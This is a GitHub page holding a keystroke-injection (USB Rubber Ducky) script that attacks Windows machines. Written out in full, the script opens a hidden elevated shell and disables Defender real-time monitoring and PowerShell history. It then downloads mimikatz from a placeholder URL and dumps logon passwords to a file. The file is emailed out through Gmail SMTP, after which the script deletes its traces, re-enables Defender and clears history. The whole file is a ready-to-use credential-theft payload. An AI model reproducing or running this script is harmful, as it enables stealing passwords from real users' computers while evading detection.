-
Notifications
You must be signed in to change notification settings - Fork 0
/
upload_inject_older_10
120 lines (120 loc) · 2.56 KB
/
upload_inject_older_10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
REM Author: WizhardHacker1
REM Date: 2/1/2020
REM -------------open command prompt with admin privileges
DELAY 1000
GUI r
DELAY 500
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 2000
LEFT
ENTER
DELAY 2000
STRING powershell
ENTER
STRING [console]::WindowHeight=1
ENTER
STRING [console]::WindowWidth=1
ENTER
DELAY 1000
STRING Set-MpPreference -DisableRealtimeMonitoring $true
ENTER
DELAY 100
STRING Set-PSReadlineOption -HistorySaveStyle SaveNothing
ENTER
DELAY 5000
REM -------------download appropriate mimikatz for architecture
STRING if ([System.IntPtr]::Size -eq 4) { (new-object System.Net.WebClient).DownloadFile('http://url.com/32bit_mimikatz/mimikatz.exe','c:\windows\temp\pw.exe'); }else{ (new-object System.Net.WebClient).DownloadFile('http://url.com/64bit_mimikatz/mimikatz.exe','C:\Windows\Temp\pw.exe');}
ENTER
DELAY 5000
STRING start-process cmd.exe -Verb runAs
ENTER
DELAY 3000
REM -------------get the passwords and save to c:\pwlog.txt
STRING C:\Windows\Temp\pw.exe > c:\pwlog.txt & type pwlog.txt;
ENTER
DELAY 2000
STRING privilege::debug
ENTER
DELAY 1000
STRING sekurlsa::logonPasswords full
ENTER
DELAY 1000
STRING exit
ENTER
STRING exit
ENTER
DELAY 300
STRING del C:\Windows\Temp\pw.exe
ENTER
DELAY 300
REM -------------email log via gmail
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 2000
LEFT
ENTER
DELAY 2000
STRING powershell
ENTER
STRING [console]::WindowHeight=1
ENTER
STRING [console]::WindowWidth=1
ENTER
DELAY 300
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('[email protected]', 'password');
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = '[email protected]'
ENTER
STRING $ReportEmail.To.Add('[email protected]')
ENTER
STRING $ReportEmail.Subject = 'MimiKatZ Report'
ENTER
STRING $ReportEmail.Body = 'Attached is your MiMiKatZ report.'
ENTER
STRING $ReportEmail.Attachments.Add('c:\pwlog.txt')
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
DELAY 4000
STRING exit
ENTER
REM ---------------------delete and end
STRING del c:\pwlog.txt
ENTER
DELAY 300
STRING exit
ENTER
STRING exit
ENTER
STRING exit
ENTER
GUI r
DELAY 500
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 2000
LEFT
ENTER
DELAY 2000
STRING powershell
ENTER
STRING [console]::WindowHeight=1
ENTER
STRING [console]::WindowWidth=1
ENTER
DELAY 1000
STRING Set-MpPreference -DisableRealtimeMonitoring $false
ENTER
STRING Clear-History
ENTER
STRING exit
ENTER